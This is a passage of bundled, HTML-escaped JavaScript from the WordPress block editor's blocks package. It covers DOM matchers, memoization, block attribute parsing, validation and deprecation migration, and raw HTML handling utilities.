  })();
  function parse(source, matchers) {
    if (!matchers) {
      return;
    }
    if (&quot;string&quot; === typeof source) {
      var doc = getDocument();
      doc.body.innerHTML = source;
      source = doc.body;
    }
    if (&quot;function&quot; === typeof matchers) {
      return matchers(source);
    }
    if (Object !== matchers.constructor) {
      return;
    }
    return Object.keys(matchers).reduce(function(memo, key) {
      memo[key] = parse(source, matchers[key]);
      return memo;
    }, {});
  }
  function prop(selector, name) {
    if (1 === arguments.length) {
      name = selector;
      selector = void 0;
    }
    return function(node) {
      var match = node;
      if (selector) {
        match = node.querySelector(selector);
      }
      if (match) {
        return getPath(match, name);
      }
    };
  }
  function attr(selector, name) {
    if (1 === arguments.length) {
      name = selector;
      selector = void 0;
    }
    return function(node) {
      var attributes = prop(selector, &quot;attributes&quot;)(node);
      if (attributes &amp;&amp; attributes.hasOwnProperty(name)) {
        return attributes[name].value;
      }
    };
  }
  function text(selector) {
    return prop(selector, &quot;textContent&quot;);
  }
  function query(selector, matchers) {
    return function(node) {
      var matches = node.querySelectorAll(selector);
      return [].map.call(matches, function(match) {
        return parse(match, matchers);
      });
    };
  }

  // node_modules/memize/dist/index.js
  function memize(fn, options) {
    var size = 0;
    var head;
    var tail;
    options = options || {};
    function memoized() {
      var node = head, len = arguments.length, args, i2;
      searchCache: while (node) {
        if (node.args.length !== arguments.length) {
          node = node.next;
          continue;
        }
        for (i2 = 0; i2 &lt; len; i2++) {
          if (node.args[i2] !== arguments[i2]) {
            node = node.next;
            continue searchCache;
          }
        }
        if (node !== head) {
          if (node === tail) {
            tail = node.prev;
          }
          node.prev.next = node.next;
          if (node.next) {
            node.next.prev = node.prev;
          }
          node.next = head;
          node.prev = null;
          head.prev = node;
          head = node;
        }
        return node.val;
      }
      args = new Array(len);
      for (i2 = 0; i2 &lt; len; i2++) {
        args[i2] = arguments[i2];
      }
      node = {
        args,
        // Generate the result from original function
        val: fn.apply(null, args)
      };
      if (head) {
        head.prev = node;
        node.next = head;
      } else {
        tail = node;
      }
      if (size === /** @type {MemizeOptions} */
      options.maxSize) {
        tail = /** @type {MemizeCacheNode} */
        tail.prev;
        tail.next = null;
      } else {
        size++;
      }
      head = node;
      return node.val;
    }
    memoized.clear = function() {
      head = null;
      tail = null;
      size = 0;
    };
    return memoized;
  }

  // packages/blocks/build-module/api/parser/get-block-attributes.mjs
  var import_hooks4 = __toESM(require_hooks(), 1);
  var import_rich_text4 = __toESM(require_rich_text(), 1);

  // packages/blocks/build-module/api/matchers.mjs
  var import_rich_text3 = __toESM(require_rich_text(), 1);

  // packages/blocks/build-module/api/node.mjs
  var import_deprecated10 = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/api/children.mjs
  var import_element3 = __toESM(require_element(), 1);
  var import_deprecated9 = __toESM(require_deprecated(), 1);
  function getSerializeCapableElement(children) {
    return children;
  }
  function getChildrenArray(children) {
    (0, import_deprecated9.default)(&quot;wp.blocks.children.getChildrenArray&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return children;
  }
  function concat(...blockNodes) {
    (0, import_deprecated9.default)(&quot;wp.blocks.children.concat&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.concat&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    const result = [];
    for (let i2 = 0; i2 &lt; blockNodes.length; i2++) {
      const blockNode = Array.isArray(blockNodes[i2]) ? blockNodes[i2] : [blockNodes[i2]];
      for (let j3 = 0; j3 &lt; blockNode.length; j3++) {
        const child = blockNode[j3];
        const canConcatToPreviousString = typeof child === &quot;string&quot; &amp;&amp; typeof result[result.length - 1] === &quot;string&quot;;
        if (canConcatToPreviousString) {
          result[result.length - 1] += child;
        } else {
          result.push(child);
        }
      }
    }
    return result;
  }
  function fromDOM22(domNodes) {
    (0, import_deprecated9.default)(&quot;wp.blocks.children.fromDOM&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.create&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    const result = [];
    for (let i2 = 0; i2 &lt; domNodes.length; i2++) {
      try {
        result.push(fromDOM2(domNodes[i2]));
      } catch {
      }
    }
    return result;
  }
  function toHTML(children) {
    (0, import_deprecated9.default)(&quot;wp.blocks.children.toHTML&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.toHTMLString&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    const element = getSerializeCapableElement(children);
    return (0, import_element3.renderToString)(element);
  }
  function matcher(selector) {
    (0, import_deprecated9.default)(&quot;wp.blocks.children.matcher&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;html source&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return (domNode) =&gt; {
      let match = domNode;
      if (selector) {
        match = domNode.querySelector(selector);
      }
      if (match) {
        return fromDOM22(match.childNodes);
      }
      return [];
    };
  }
  var children_default = {
    concat,
    getChildrenArray,
    fromDOM: fromDOM22,
    toHTML,
    matcher
  };

  // packages/blocks/build-module/api/node.mjs
  function isNodeOfType(node, type) {
    (0, import_deprecated10.default)(&quot;wp.blocks.node.isNodeOfType&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return typeof node !== &quot;string&quot; &amp;&amp; node?.type === type;
  }
  function getNamedNodeMapAsObject(nodeMap) {
    const result = {};
    for (let i2 = 0; i2 &lt; nodeMap.length; i2++) {
      const { name, value } = nodeMap[i2];
      result[name] = value;
    }
    return result;
  }
  function fromDOM2(domNode) {
    (0, import_deprecated10.default)(&quot;wp.blocks.node.fromDOM&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.create&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    if (domNode.nodeType === domNode.TEXT_NODE) {
      return domNode.nodeValue;
    }
    if (domNode.nodeType !== domNode.ELEMENT_NODE) {
      throw new TypeError(
        &quot;A block node can only be created from a node of type text or element.&quot;
      );
    }
    return {
      type: domNode.nodeName.toLowerCase(),
      props: {
        ...getNamedNodeMapAsObject(domNode.attributes),
        children: fromDOM22(domNode.childNodes)
      }
    };
  }
  function toHTML2(node) {
    (0, import_deprecated10.default)(&quot;wp.blocks.node.toHTML&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.toHTMLString&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return toHTML([node]);
  }
  function matcher2(selector) {
    (0, import_deprecated10.default)(&quot;wp.blocks.node.matcher&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;html source&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return (domNode) =&gt; {
      let match = domNode;
      if (selector) {
        match = domNode.querySelector(selector);
      }
      try {
        return fromDOM2(match);
      } catch {
        return null;
      }
    };
  }
  var node_default = {
    isNodeOfType,
    fromDOM: fromDOM2,
    toHTML: toHTML2,
    matcher: matcher2
  };

  // packages/blocks/build-module/api/matchers.mjs
  function html(selector, multilineTag) {
    return (domNode) =&gt; {
      let match = domNode;
      if (selector) {
        match = domNode.querySelector(selector);
      }
      if (!match) {
        return &quot;&quot;;
      }
      if (multilineTag) {
        let value = &quot;&quot;;
        const length = match.children.length;
        for (let index = 0; index &lt; length; index++) {
          const child = match.children[index];
          if (child.nodeName.toLowerCase() !== multilineTag) {
            continue;
          }
          value += child.outerHTML;
        }
        return value;
      }
      return match.innerHTML;
    };
  }
  var richText = (selector, preserveWhiteSpace) =&gt; (el) =&gt; {
    const target = selector ? el.querySelector(selector) : el;
    return target ? import_rich_text3.RichTextData.fromHTMLElement(target, {
      preserveWhiteSpace
    }) : import_rich_text3.RichTextData.empty();
  };

  // packages/blocks/build-module/api/parser/get-block-attributes.mjs
  var toBooleanAttributeMatcher = (matcher3) =&gt; (value) =&gt; matcher3(value) !== void 0;
  function isOfType(value, type) {
    switch (type) {
      case &quot;rich-text&quot;:
        return value instanceof import_rich_text4.RichTextData;
      case &quot;string&quot;:
        return typeof value === &quot;string&quot;;
      case &quot;boolean&quot;:
        return typeof value === &quot;boolean&quot;;
      case &quot;object&quot;:
        return !!value &amp;&amp; value.constructor === Object;
      case &quot;null&quot;:
        return value === null;
      case &quot;array&quot;:
        return Array.isArray(value);
      case &quot;integer&quot;:
      case &quot;number&quot;:
        return typeof value === &quot;number&quot;;
    }
    return true;
  }
  function isOfTypes(value, types) {
    return types.some((type) =&gt; isOfType(value, type));
  }
  function getBlockAttribute(attributeKey, attributeSchema, innerDOM, commentAttributes, innerHTML) {
    let value;
    switch (attributeSchema.source) {
      // An undefined source means that it&#039;s an attribute serialized to the
      // block&#039;s &quot;comment&quot;.
      case void 0:
        value = commentAttributes ? commentAttributes[attributeKey] : void 0;
        break;
      // raw source means that it&#039;s the original raw block content.
      case &quot;raw&quot;:
        value = innerHTML;
        break;
      case &quot;attribute&quot;:
      case &quot;property&quot;:
      case &quot;html&quot;:
      case &quot;text&quot;:
      case &quot;rich-text&quot;:
      case &quot;children&quot;:
      case &quot;node&quot;:
      case &quot;query&quot;:
      case &quot;tag&quot;:
        value = parseWithAttributeSchema(innerDOM, attributeSchema);
        break;
    }
    if (!isValidByType(value, attributeSchema.type) || !isValidByEnum(value, attributeSchema.enum)) {
      value = void 0;
    }
    if (value === void 0) {
      value = getDefault(attributeSchema);
    }
    return value;
  }
  function isValidByType(value, type) {
    return type === void 0 || isOfTypes(value, Array.isArray(type) ? type : [type]);
  }
  function isValidByEnum(value, enumSet) {
    return !Array.isArray(enumSet) || enumSet.includes(value);
  }
  var matcherFromSource = memize(
    (sourceConfig) =&gt; {
      switch (sourceConfig.source) {
        case &quot;attribute&quot;: {
          let matcher3 = attr(
            sourceConfig.selector,
            sourceConfig.attribute
          );
          if (sourceConfig.type === &quot;boolean&quot;) {
            matcher3 = toBooleanAttributeMatcher(matcher3);
          }
          return matcher3;
        }
        case &quot;html&quot;:
          return html(sourceConfig.selector, sourceConfig.multiline);
        case &quot;text&quot;:
          return text(sourceConfig.selector);
        case &quot;rich-text&quot;:
          return richText(
            sourceConfig.selector,
            sourceConfig.__unstablePreserveWhiteSpace
          );
        case &quot;children&quot;:
          return matcher(sourceConfig.selector);
        case &quot;node&quot;:
          return matcher2(sourceConfig.selector);
        case &quot;query&quot;:
          const subMatchers = Object.fromEntries(
            Object.entries(sourceConfig.query).map(
              ([key, subSourceConfig]) =&gt; [
                key,
                matcherFromSource(subSourceConfig)
              ]
            )
          );
          return query(sourceConfig.selector, subMatchers);
        case &quot;tag&quot;: {
          const matcher3 = prop(sourceConfig.selector, &quot;nodeName&quot;);
          return (domNode) =&gt; matcher3(domNode)?.toLowerCase();
        }
        default:
          console.error(
            `Unknown source type &quot;${sourceConfig.source}&quot;`
          );
          return void 0;
      }
    }
  );
  function parseHtml(innerHTML) {
    return parse(innerHTML, (h2) =&gt; h2);
  }
  function parseWithAttributeSchema(innerHTML, attributeSchema) {
    return matcherFromSource(attributeSchema)(
      parseHtml(innerHTML)
    );
  }
  function getBlockAttributes(blockTypeOrName, innerHTML, attributes = {}) {
    const doc = parseHtml(innerHTML);
    const blockType = normalizeBlockType(blockTypeOrName);
    const blockAttributes = Object.fromEntries(
      Object.entries(blockType?.attributes ?? {}).map(
        ([key, schema]) =&gt; [
          key,
          getBlockAttribute(key, schema, doc, attributes, innerHTML)
        ]
      )
    );
    return (0, import_hooks4.applyFilters)(
      &quot;blocks.getBlockAttributes&quot;,
      blockAttributes,
      blockType,
      innerHTML,
      attributes
    );
  }

  // packages/blocks/build-module/api/parser/fix-custom-classname.mjs
  var CLASS_ATTR_SCHEMA = {
    type: &quot;string&quot;,
    source: &quot;attribute&quot;,
    selector: &quot;[data-custom-class-name] &gt; *&quot;,
    attribute: &quot;class&quot;
  };
  function getHTMLRootElementClasses(innerHTML) {
    const parsed = parseWithAttributeSchema(
      `&lt;div data-custom-class-name&gt;${innerHTML}&lt;/div&gt;`,
      CLASS_ATTR_SCHEMA
    );
    return parsed ? parsed.trim().split(/\s+/) : [];
  }
  function fixCustomClassname(blockAttributes, blockType, innerHTML) {
    if (!hasBlockSupport(blockType, &quot;customClassName&quot;, true)) {
      return blockAttributes;
    }
    const modifiedBlockAttributes = { ...blockAttributes };
    const { className: omittedClassName, ...attributesSansClassName } = modifiedBlockAttributes;
    const serialized = getSaveContent(blockType, attributesSansClassName);
    const defaultClasses = getHTMLRootElementClasses(serialized);
    const actualClasses = getHTMLRootElementClasses(innerHTML);
    const customClasses = actualClasses.filter(
      (className) =&gt; !defaultClasses.includes(className)
    );
    if (customClasses.length) {
      modifiedBlockAttributes.className = customClasses.join(&quot; &quot;);
    } else if (serialized) {
      delete modifiedBlockAttributes.className;
    }
    return modifiedBlockAttributes;
  }

  // packages/blocks/build-module/api/parser/fix-global-attribute.mjs
  function getHTMLRootElement(innerHTML, dataAttribute, attributeSchema) {
    const parsed = parseWithAttributeSchema(
      `&lt;div ${dataAttribute}&gt;${innerHTML}&lt;/div&gt;`,
      attributeSchema
    );
    return parsed;
  }
  function fixGlobalAttribute(blockAttributes, blockType, innerHTML, supportKey, dataAttribute, attributeSchema) {
    if (!hasBlockSupport(blockType, supportKey, false)) {
      return blockAttributes;
    }
    const modifiedBlockAttributes = { ...blockAttributes };
    const attributeValue = getHTMLRootElement(
      innerHTML,
      dataAttribute,
      attributeSchema
    );
    if (attributeValue) {
      modifiedBlockAttributes[supportKey] = attributeValue;
    }
    return modifiedBlockAttributes;
  }

  // packages/blocks/build-module/api/parser/apply-built-in-validation-fixes.mjs
  var ARIA_LABEL_ATTR_SCHEMA = {
    type: &quot;string&quot;,
    source: &quot;attribute&quot;,
    selector: &quot;[data-aria-label] &gt; *&quot;,
    attribute: &quot;aria-label&quot;
  };
  var ANCHOR_ATTR_SCHEMA = {
    type: &quot;string&quot;,
    source: &quot;attribute&quot;,
    selector: &quot;[data-anchor] &gt; *&quot;,
    attribute: &quot;id&quot;
  };
  function applyBuiltInValidationFixes(block, blockType) {
    const { attributes, originalContent } = block;
    let updatedBlockAttributes = attributes;
    updatedBlockAttributes = fixCustomClassname(
      attributes,
      blockType,
      originalContent ?? &quot;&quot;
    );
    updatedBlockAttributes = fixGlobalAttribute(
      updatedBlockAttributes,
      blockType,
      originalContent ?? &quot;&quot;,
      &quot;ariaLabel&quot;,
      &quot;data-aria-label&quot;,
      ARIA_LABEL_ATTR_SCHEMA
    );
    updatedBlockAttributes = fixGlobalAttribute(
      updatedBlockAttributes,
      blockType,
      originalContent ?? &quot;&quot;,
      &quot;anchor&quot;,
      &quot;data-anchor&quot;,
      ANCHOR_ATTR_SCHEMA
    );
    return {
      ...block,
      attributes: updatedBlockAttributes
    };
  }

  // packages/blocks/build-module/api/parser/apply-block-deprecated-versions.mjs
  function stubFalse() {
    return false;
  }
  function applyBlockDeprecatedVersions(block, rawBlock, blockType) {
    const parsedAttributes = rawBlock.attrs ?? {};
    const { deprecated: deprecatedDefinitions } = blockType;
    if (!deprecatedDefinitions || !deprecatedDefinitions.length) {
      return block;
    }
    for (let i2 = 0; i2 &lt; deprecatedDefinitions.length; i2++) {
      const { isEligible = stubFalse } = deprecatedDefinitions[i2];
      if (block.isValid &amp;&amp; !isEligible(parsedAttributes, block.innerBlocks, {
        blockNode: rawBlock,
        block
      })) {
        continue;
      }
      const deprecatedBlockType = Object.assign(
        omit(
          blockType,
          DEPRECATED_ENTRY_KEYS
        ),
        deprecatedDefinitions[i2]
      );
      let migratedBlock = {
        ...block,
        attributes: getBlockAttributes(
          deprecatedBlockType,
          block.originalContent ?? &quot;&quot;,
          parsedAttributes
        )
      };
      let [isValid] = validateBlock(migratedBlock, deprecatedBlockType);
      if (!isValid) {
        migratedBlock = applyBuiltInValidationFixes(
          migratedBlock,
          deprecatedBlockType
        );
        [isValid] = validateBlock(migratedBlock, deprecatedBlockType);
      }
      if (!isValid) {
        continue;
      }
      let migratedInnerBlocks = migratedBlock.innerBlocks;
      let migratedAttributes = migratedBlock.attributes;
      const { migrate } = deprecatedBlockType;
      if (migrate) {
        let migrated = migrate(migratedAttributes, block.innerBlocks);
        if (!Array.isArray(migrated)) {
          migrated = [migrated];
        }
        [
          migratedAttributes = parsedAttributes,
          migratedInnerBlocks = block.innerBlocks
        ] = migrated;
      }
      block = {
        ...block,
        attributes: migratedAttributes,
        innerBlocks: migratedInnerBlocks,
        isValid: true,
        validationIssues: []
      };
    }
    return block;
  }

  // packages/blocks/build-module/api/parser/index.mjs
  function convertLegacyBlocks(rawBlock) {
    const [correctName, correctedAttributes] = convertLegacyBlockNameAndAttributes(
      rawBlock.blockName,
      rawBlock.attrs ?? {}
    );
    return {
      ...rawBlock,
      blockName: correctName,
      attrs: correctedAttributes
    };
  }
  function normalizeRawBlock(rawBlock, options) {
    const fallbackBlockName = getFreeformContentHandlerName();
    const rawBlockName = rawBlock.blockName || getFreeformContentHandlerName();
    const rawAttributes = rawBlock.attrs || {};
    const rawInnerBlocks = rawBlock.innerBlocks || [];
    let rawInnerHTML = rawBlock.innerHTML.trim();
    if (rawBlockName === fallbackBlockName &amp;&amp; rawBlockName === &quot;core/freeform&quot; &amp;&amp; !options?.__unstableSkipAutop) {
      rawInnerHTML = (0, import_autop2.autop)(rawInnerHTML).trim();
    }
    return {
      ...rawBlock,
      blockName: rawBlockName,
      attrs: rawAttributes,
      innerHTML: rawInnerHTML,
      innerBlocks: rawInnerBlocks
    };
  }
  function createMissingBlockType(rawBlock) {
    const unregisteredFallbackBlock = getUnregisteredTypeHandlerName() || getFreeformContentHandlerName();
    const originalUndelimitedContent = serializeRawBlock(rawBlock, {
      isCommentDelimited: false
    });
    const originalContent = serializeRawBlock(rawBlock, {
      isCommentDelimited: true
    });
    return {
      blockName: unregisteredFallbackBlock,
      attrs: {
        originalName: rawBlock.blockName,
        originalContent,
        originalUndelimitedContent
      },
      innerHTML: rawBlock.blockName ? originalContent : rawBlock.innerHTML,
      innerBlocks: rawBlock.innerBlocks,
      innerContent: rawBlock.innerContent
    };
  }
  function applyBlockValidation(unvalidatedBlock, blockType) {
    const [isValid] = validateBlock(unvalidatedBlock, blockType);
    if (isValid) {
      return { ...unvalidatedBlock, isValid, validationIssues: [] };
    }
    const fixedBlock = applyBuiltInValidationFixes(
      unvalidatedBlock,
      blockType
    );
    const [isFixedValid, validationIssues] = validateBlock(
      fixedBlock,
      blockType
    );
    return { ...fixedBlock, isValid: isFixedValid, validationIssues };
  }
  function parseRawBlock(rawBlock, options) {
    let normalizedBlock = normalizeRawBlock(rawBlock, options);
    normalizedBlock = convertLegacyBlocks(normalizedBlock);
    let blockType = getBlockType(normalizedBlock.blockName);
    if (!blockType) {
      normalizedBlock = createMissingBlockType(normalizedBlock);
      blockType = getBlockType(normalizedBlock.blockName);
    }
    const isFallbackBlock = normalizedBlock.blockName === getFreeformContentHandlerName() || normalizedBlock.blockName === getUnregisteredTypeHandlerName();
    if (!blockType || !normalizedBlock.innerHTML &amp;&amp; isFallbackBlock) {
      return;
    }
    const parsedInnerBlocks = normalizedBlock.innerBlocks.map((innerBlock) =&gt; parseRawBlock(innerBlock, options)).filter((innerBlock) =&gt; !!innerBlock);
    const parsedBlock = createBlock(
      normalizedBlock.blockName,
      getBlockAttributes(
        blockType,
        normalizedBlock.innerHTML,
        normalizedBlock.attrs
      ),
      parsedInnerBlocks
    );
    parsedBlock.originalContent = normalizedBlock.innerHTML;
    if (blockType.name === &quot;core/html&quot;) {
      parsedBlock.innerContent = normalizedBlock.innerContent ?? [
        normalizedBlock.innerHTML
      ];
      parsedBlock.isValid = true;
      parsedBlock.validationIssues = [];
      return parsedBlock;
    }
    const validatedBlock = applyBlockValidation(parsedBlock, blockType);
    const { validationIssues } = validatedBlock;
    const updatedBlock = applyBlockDeprecatedVersions(
      validatedBlock,
      normalizedBlock,
      blockType
    );
    if (!updatedBlock.isValid) {
      updatedBlock.__unstableBlockSource = rawBlock;
    }
    if (!validatedBlock.isValid &amp;&amp; updatedBlock.isValid &amp;&amp; !options?.__unstableSkipMigrationLogs) {
      console.groupCollapsed(&quot;Updated Block: %s&quot;, blockType.name);
      console.info(
        &quot;Block successfully updated for `%s` (%o).\n\nNew content generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s&quot;,
        blockType.name,
        blockType,
        getSaveContent(blockType, updatedBlock.attributes),
        updatedBlock.originalContent
      );
      console.groupEnd();
    } else if (!validatedBlock.isValid &amp;&amp; !updatedBlock.isValid) {
      validationIssues.forEach(({ log: log2, args }) =&gt; log2(...args));
    }
    return updatedBlock;
  }
  function parse2(content, options) {
    return (0, import_block_serialization_default_parser.parse)(content).reduce(
      (accumulator, rawBlock) =&gt; {
        const block = parseRawBlock(
          rawBlock,
          options
        );
        if (block) {
          accumulator.push(block);
        }
        return accumulator;
      },
      []
    );
  }

  // packages/blocks/build-module/api/raw-handling/index.mjs
  var import_deprecated11 = __toESM(require_deprecated(), 1);
  var import_dom13 = __toESM(require_dom(), 1);

  // packages/blocks/build-module/api/raw-handling/get-raw-transforms.mjs
  function getRawTransforms() {
    return getBlockTransforms(&quot;from&quot;).filter(({ type }) =&gt; type === &quot;raw&quot;).map((transform) =&gt; {
      return transform.isMatch ? transform : {
        ...transform,
        isMatch: (node) =&gt; transform.selector &amp;&amp; node.matches(transform.selector)
      };
    });
  }

  // packages/blocks/build-module/api/raw-handling/html-to-blocks.mjs
  function htmlToBlocks(html2, handler) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = html2;
    return Array.from(doc.body.children).flatMap((node) =&gt; {
      const transforms = getRawTransforms();
      const rawTransform = findTransform(
        transforms,
        ((t3) =&gt; {
          const transform2 = t3;
          return transform2.isMatch(node);
        })
      );
      if (!rawTransform) {
        return createBlock(
          // Should not be hardcoded.
          &quot;core/html&quot;,
          {},
          [],
          [node.outerHTML]
        );
      }
      const { transform, blockName } = rawTransform;
      if (transform) {
        const block = transform(node, handler);
        if (node.hasAttribute(&quot;class&quot;)) {
          block.attributes.className = node.getAttribute(&quot;class&quot;);
        }
        return block;
      }
      return createBlock(
        blockName,
        getBlockAttributes(blockName, node.outerHTML)
      );
    });
  }

  // packages/blocks/build-module/api/raw-handling/normalise-blocks.mjs
  var import_dom2 = __toESM(require_dom(), 1);
  function normaliseBlocks(HTML, options = {}) {
    const decuDoc = document.implementation.createHTMLDocument(&quot;&quot;);
    const accuDoc = document.implementation.createHTMLDocument(&quot;&quot;);
    const decu = decuDoc.body;
    const accu = accuDoc.body;
    decu.innerHTML = HTML;
    while (decu.firstChild) {
      const node = decu.firstChild;
      if (node.nodeType === node.TEXT_NODE) {
        if ((0, import_dom2.isEmpty)(node)) {
          decu.removeChild(node);
        } else {
          if (!accu.lastChild || accu.lastChild.nodeName !== &quot;P&quot;) {
            accu.appendChild(accuDoc.createElement(&quot;P&quot;));
          }
          accu.lastChild.appendChild(node);
        }
      } else if (node.nodeType === node.ELEMENT_NODE) {
        if (node.nodeName === &quot;BR&quot;) {
          if (node.nextSibling &amp;&amp; node.nextSibling.nodeName === &quot;BR&quot;) {
            accu.appendChild(accuDoc.createElement(&quot;P&quot;));
            decu.removeChild(node.nextSibling);
          }
          if (accu.lastChild &amp;&amp; accu.lastChild.nodeName === &quot;P&quot; &amp;&amp; accu.lastChild.hasChildNodes()) {
            accu.lastChild.appendChild(node);
          } else {
            decu.removeChild(node);
          }
        } else if (node.nodeName === &quot;P&quot;) {
          if ((0, import_dom2.isEmpty)(node) &amp;&amp; !options.raw) {
            decu.removeChild(node);
          } else {
            accu.appendChild(node);
          }
        } else if ((0, import_dom2.isPhrasingContent)(node)) {
          if (!accu.lastChild || accu.lastChild.nodeName !== &quot;P&quot;) {
            accu.appendChild(accuDoc.createElement(&quot;P&quot;));
          }
          accu.lastChild.appendChild(node);
        } else {
          accu.appendChild(node);
        }
      } else {
        decu.removeChild(node);
      }
    }
    return accu.innerHTML;
  }

  // packages/blocks/build-module/api/raw-handling/special-comment-converter.mjs
  var import_dom3 = __toESM(require_dom(), 1);
  function specialCommentConverter(node, doc) {
    if (node.nodeType !== node.COMMENT_NODE) {
      return;
    }
    if (node.nodeValue !== &quot;nextpage&quot; &amp;&amp; node.nodeValue.indexOf(&quot;more&quot;) !== 0) {
      return;
    }
    const block = createBlock2(node, doc);
    if (!node.parentNode || node.parentNode.nodeName !== &quot;P&quot;) {
      (0, import_dom3.replace)(node, block);
    } else {
      const childNodes = Array.from(node.parentNode.childNodes);
      const nodeIndex = childNodes.indexOf(node);
      const wrapperNode = node.parentNode.parentNode || doc.body;
      const paragraphBuilder = (acc, child) =&gt; {
        if (!acc) {
          acc = doc.createElement(&quot;p&quot;);
        }
        acc.appendChild(child);
        return acc;
      };
      [
        childNodes.slice(0, nodeIndex).reduce(paragraphBuilder, null),
        block,
        childNodes.slice(nodeIndex + 1).reduce(paragraphBuilder, null)
      ].forEach(
        (element) =&gt; element &amp;&amp; wrapperNode.insertBefore(element, node.parentNode)
      );
      (0, import_dom3.remove)(node.parentNode);
    }
  }
  function createBlock2(commentNode, doc) {
    if (commentNode.nodeValue === &quot;nextpage&quot;) {
      return createNextpage(doc);
    }
    const customText = commentNode.nodeValue.slice(4).trim();
    let sibling = commentNode;
    let noTeaser = false;
    while (sibling = sibling.nextSibling) {
      if (sibling.nodeType === sibling.COMMENT_NODE &amp;&amp; sibling.nodeValue === &quot;noteaser&quot;) {
        noTeaser = true;
        (0, import_dom3.remove)(sibling);
        break;
      }
    }
    return createMore(customText, noTeaser, doc);
  }
  function createMore(customText, noTeaser, doc) {
    const node = doc.createElement(&quot;wp-block&quot;);
    node.dataset.block = &quot;core/more&quot;;
    if (customText) {
      node.dataset.customText = customText;
    }
    if (noTeaser) {
      node.dataset.noTeaser = &quot;&quot;;
    }
    return node;
  }
  function createNextpage(doc) {
    const node = doc.createElement(&quot;wp-block&quot;);
    node.dataset.block = &quot;core/nextpage&quot;;
    return node;
  }

  // packages/blocks/build-module/api/raw-handling/list-reducer.mjs
  var import_dom4 = __toESM(require_dom(), 1);
  function isList(node) {
    return node.nodeName === &quot;OL&quot; || node.nodeName === &quot;UL&quot;;
  }
  function shallowTextContent(element) {
    return Array.from(element.childNodes).map(({ nodeValue = &quot;&quot; }) =&gt; nodeValue).join(&quot;&quot;);
  }
  function listReducer(node) {
    if (!isList(node)) {
      return;
    }
    const list = node;
    const prevElement = list.previousElementSibling;
    if (prevElement &amp;&amp; prevElement.nodeName === node.nodeName &amp;&amp; list.children.length === 1) {
      while (list.firstChild) {
        prevElement.appendChild(list.firstChild);
      }
      list.parentNode.removeChild(list);
    }
    const parentElement = node.parentNode;
    if (parentElement &amp;&amp; parentElement.nodeName === &quot;LI&quot; &amp;&amp; parentElement.children.length === 1 &amp;&amp; !/\S/.test(shallowTextContent(parentElement))) {
      const parentListItem = parentElement;
      const prevListItem = parentListItem.previousElementSibling;
      const parentList = parentListItem.parentNode;
      if (prevListItem) {
        prevListItem.appendChild(list);
        parentList.removeChild(parentListItem);
      }
    }
    if (parentElement &amp;&amp; isList(parentElement)) {
      const prevListItem = list.previousElementSibling;
      if (prevListItem) {
        prevListItem.appendChild(node);
      } else {
        (0, import_dom4.unwrap)(node);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/blockquote-normaliser.mjs
  function blockquoteNormaliser(options = {}) {
    return (bq) =&gt; {
      if (bq.nodeName !== &quot;BLOCKQUOTE&quot;) {
        return;
      }
      const node = bq;
      node.innerHTML = normaliseBlocks(node.innerHTML, options);
    };
  }

  // packages/blocks/build-module/api/raw-handling/figure-content-reducer.mjs
  var import_dom5 = __toESM(require_dom(), 1);
  function isFigureContent(node, schema) {
    const tag = node.nodeName.toLowerCase();
    if (tag === &quot;figcaption&quot; || (0, import_dom5.isTextContent)(node)) {
      return false;
    }
    return tag in (schema?.figure?.children ?? {});
  }
  function canHaveAnchor(node, schema) {
    const tag = node.nodeName.toLowerCase();
    return tag in (schema?.figure?.children?.a?.children ?? {});
  }
  function wrapFigureContent(element, beforeElement = element) {
    const figure = element.ownerDocument.createElement(&quot;figure&quot;);
    beforeElement.parentNode.insertBefore(figure, beforeElement);
    figure.appendChild(element);
  }
  function figureContentReducer(node, doc, schema) {
    if (!schema || !isFigureContent(node, schema)) {
      return;
    }
    let nodeToInsert = node;
    const parentNode = node.parentNode;
    if (canHaveAnchor(node, schema) &amp;&amp; parentNode.nodeName === &quot;A&quot; &amp;&amp; parentNode.childNodes.length === 1) {
      nodeToInsert = node.parentNode;
    }
    const wrapper = nodeToInsert.closest(&quot;p,div&quot;);
    if (wrapper) {
      const element = node;
      if (!element.classList) {
        wrapFigureContent(nodeToInsert, wrapper);
      } else if (element.classList.contains(&quot;alignright&quot;) || element.classList.contains(&quot;alignleft&quot;) || element.classList.contains(&quot;aligncenter&quot;) || !wrapper.textContent.trim()) {
